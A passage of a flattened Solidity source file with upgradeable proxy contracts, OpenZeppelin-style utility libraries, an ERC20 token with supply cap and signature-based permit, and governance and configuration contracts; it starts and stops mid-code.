ProxyFactory, * and it's implementation is stored in factory. */ contract ProductProxy is Proxy { /** * @dev Storage slot with the address of the ProxyFactory. * This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1; bytes32 internal constant NAME_SLOT = 0x4cd9b827ca535ceb0880425d70eff88561ecdf04dc32fcf7ff3b15c587f8a870; // bytes32(uint256(keccak256('eip1967.proxy.name')) - 1) function _name() virtual internal view returns (bytes32 name_) { bytes32 slot = NAME_SLOT; assembly { name_ := sload(slot) } } function _setName(bytes32 name_) internal { bytes32 slot = NAME_SLOT; assembly { sstore(slot, name_) } } /** * @dev Sets the factory address of the ProductProxy. * @param newFactory Address of the new factory. */ function _setFactory(address newFactory) internal { require(newFactory == address(0) || OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address"); bytes32 slot = FACTORY_SLOT; assembly { sstore(slot, newFactory) } } /** * @dev Returns the factory. * @return factory_ Address of the factory. */ function _factory() internal view returns (address factory_) { bytes32 slot = FACTORY_SLOT; assembly { factory_ := sload(slot) } } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() virtual override internal view returns (address) { address factory_ = _factory(); bytes32 name_ = _name(); if(OpenZeppelinUpgradesAddress.isContract(factory_)) if(name_ != 0x0) return IProxyFactory(factory_).productImplementations(name_); else return IProxyFactory(factory_).productImplementation(); else return address(0); } } /** * @title InitializableProductProxy * @dev Extends ProductProxy with an initializer for initializing * factory and init data. */ contract InitializableProductProxy is ProductProxy { /** * @dev Contract initializer. * @param factory Address of the initial factory. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function __InitializableProductProxy_init(address factory, bytes32 name, bytes memory data) external payable { address factory_ = _factory(); require(factory_ == address(0) || msg.sender == factory_ || msg.sender == IProxyFactory(factory_).governor() || msg.sender == IProxyFactory(factory_).__admin__()); assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1)); assert(NAME_SLOT == bytes32(uint256(keccak256('eip1967.proxy.name')) - 1)); _setFactory(factory); _setName(name); if(data.length > 0) { (bool success,) = _implementation().delegatecall(data); require(success); } } } contract __InitializableAdminUpgradeabilityProductProxy__ is __BaseAdminUpgradeabilityProxy__, ProductProxy { function __InitializableAdminUpgradeabilityProductProxy_init__(address admin, address logic, address factory, bytes32 name, bytes memory data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1)); assert(NAME_SLOT == bytes32(uint256(keccak256('eip1967.proxy.name')) - 1)); address admin_ = _admin(); require(admin_ == address(0) || msg.sender == admin_); _setAdmin(admin); _setImplementation(logic); _setFactory(factory); _setName(name); if(data.length > 0) { (bool success,) = _implementation().delegatecall(data); require(success); } } function _implementation() virtual override(BaseUpgradeabilityProxy, ProductProxy) internal view returns (address impl) { impl = BaseUpgradeabilityProxy._implementation(); if(impl == address(0)) impl = ProductProxy._implementation(); } } contract __AdminUpgradeabilityProductProxy__ is __InitializableAdminUpgradeabilityProductProxy__ { constructor(address admin, address logic, address factory, bytes32 name, bytes memory data) public payable { __InitializableAdminUpgradeabilityProductProxy_init__(admin, logic, factory, name, data); } } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuardUpgradeSafe is Initializable { bool private _notEntered; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } uint256[49] private __gap; } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub0(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a - b : 0; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is ContextUpgradeSafe, IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); if(sender != _msgSender() && _allowances[sender][_msgSender()] != uint(-1)) _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ contract ERC20CappedUpgradeSafe is ERC20UpgradeSafe { uint256 internal _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ function __ERC20Capped_init(uint256 cap) internal initializer { __Context_init_unchained(); __ERC20Capped_init_unchained(cap); } function __ERC20Capped_init_unchained(uint256 cap) internal initializer { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() virtual public view returns (uint256) { return _cap; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } } uint256[49] private __gap; } abstract contract Permit { // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; function DOMAIN_SEPARATOR() virtual public view returns (bytes32); mapping (address => uint) public nonces; function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'permit EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'permit INVALID_SIGNATURE'); _approve(owner, spender, value); } function _approve(address owner, address spender, uint256 amount) internal virtual; uint256[50] private __gap; } contract PermitERC20UpgradeSafe is Permit, ERC20UpgradeSafe { bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); function DOMAIN_SEPARATOR() virtual override public view returns (bytes32) { return keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), _chainId(), address(this))); } function _chainId() internal pure returns (uint id) { assembly { id := chainid() } } function _approve(address owner, address spender, uint256 amount) virtual override(Permit, ERC20UpgradeSafe) internal { return ERC20UpgradeSafe._approve(owner, spender, amount); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Governable is Initializable { // bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1) bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; address public governor; event GovernorshipTransferred(address indexed previousGovernor, address indexed newGovernor); /** * @dev Contract initializer. * called once by the factory at time of deployment */ function __Governable_init_unchained(address governor_) virtual public initializer { governor = governor_; emit GovernorshipTransferred(address(0), governor); } function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } modifier governance() { require(msg.sender == governor || msg.sender == _admin()); _; } /** * @dev Allows the current governor to relinquish control of the contract. * @notice Renouncing to governorship will leave the contract without an governor. * It will not be possible to call the functions with the `governance` * modifier anymore. */ function renounceGovernorship() public governance { emit GovernorshipTransferred(governor, address(0)); governor = address(0); } /** * @dev Allows the current governor to transfer control of the contract to a newGovernor. * @param newGovernor The address to transfer governorship to. */ function transferGovernorship(address newGovernor) public governance { _transferGovernorship(newGovernor); } /** * @dev Transfers control of the contract to a newGovernor. * @param newGovernor The address to transfer governorship to. */ function _transferGovernorship(address newGovernor) internal { require(newGovernor != address(0)); emit GovernorshipTransferred(governor, newGovernor); governor = newGovernor; } } contract Configurable is Governable { mapping (bytes32 => uint) internal config; function getConfig(bytes32 key) public view returns (uint) { return config[key]; } function getConfigI(bytes32 key, uint index) public view returns (uint) { return config[bytes32(uint(key) ^ index)]; } function getConfigA(bytes32 key, address addr) public view returns (uint) { return config[bytes32(uint(key) ^ uint(addr))]; } function _setConfig(bytes32 key, uint value) internal { if(config[key] != value) config[key] = value; } function _setConfig(bytes32 key, uint index, uint value) internal { _setConfig(bytes32(uint(key) ^ index), value); } function _setConfig(bytes32 key, address addr, uint value) internal { _setConfig(bytes32(uint(key) ^ uint(addr)), value); } function setConfig(bytes32 key, uint value) external governance { _setConfig(key, value); } function setConfigI(bytes32 key, uint index, uint value) external governance { _setConfig(bytes32(uint(key) ^ index), value); } function setConfigA(bytes32 key, address addr, uint value) public 